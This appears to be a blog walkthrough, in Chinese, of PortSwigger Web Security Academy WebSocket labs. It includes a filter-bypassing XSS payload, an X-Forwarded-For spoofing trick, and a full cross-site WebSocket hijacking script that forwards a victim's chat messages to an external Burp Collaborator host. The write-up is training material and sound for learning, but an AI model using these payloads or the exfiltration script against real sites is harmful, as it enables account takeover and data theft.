zoukankan      html  css  js  c++  java
  • Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets

    Lab: Manipulating WebSocket messages to exploit vulnerabilities

    • 题目描述
      • 在线商城有一个用WebSockets实现的在线聊天功能
      • 你提交的聊天消息会被辅助客户端实时查看
    • 要求
      • 使用WebScoket消息触发alert()
    • 解题步骤
      • 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
      • 在WebSockets history中把发送信息的请求包发送到Repeater
      • 把消息内容修改为xss payload

    Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

    • 题目描述
      • 在线商城有一个用WebSockets实现的在线聊天功能
      • 它有一个主动但是存在缺陷的XSS过滤器
    • 要求
      • 使用WebScoket消息触发alert()
    • 解题过程
      • 测一下过滤了些啥:(连接失败后,利用X-Forwarded-For伪造IP重置连接即可)
        • 过滤了n多标签,iframe可用
        • 过滤了()
        • 过滤了onxxxx事件
        • 过滤了javascript
      • 最后的payload和solution一样 <iframe src='JavAsCript:alert`1`'>

    Lab: Cross-site WebSocket hijacking

    • 题目描述

      • 在线商城有一个用WebSockets实现的在线聊天功能
    • 要求

      • 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
    • 解题过程

      • websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据

      • 脚本参考solution,没有考虑到onopen事件的处理

      • <script>
        websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat')
        websocket.onopen = function start(event) {
          websocket.send("READY");
        }
        websocket.onmessage = function handleReply(event) {
          fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
        }
        
        </script>
        
  • 相关阅读:
    React.memo()使用教程
    React组件什么时候render
    redux-thunk使用教程
    Redux数据持久化
    Mac 中安装 nvm: 切换Node 不同版本
    上传文件类型选择
    Python获取软件安装列表
    Java读取text文件
    负载均衡
    远程调用
  • 原文地址:https://www.cnblogs.com/R3col/p/14588513.html
Copyright © 2011-2022 走看看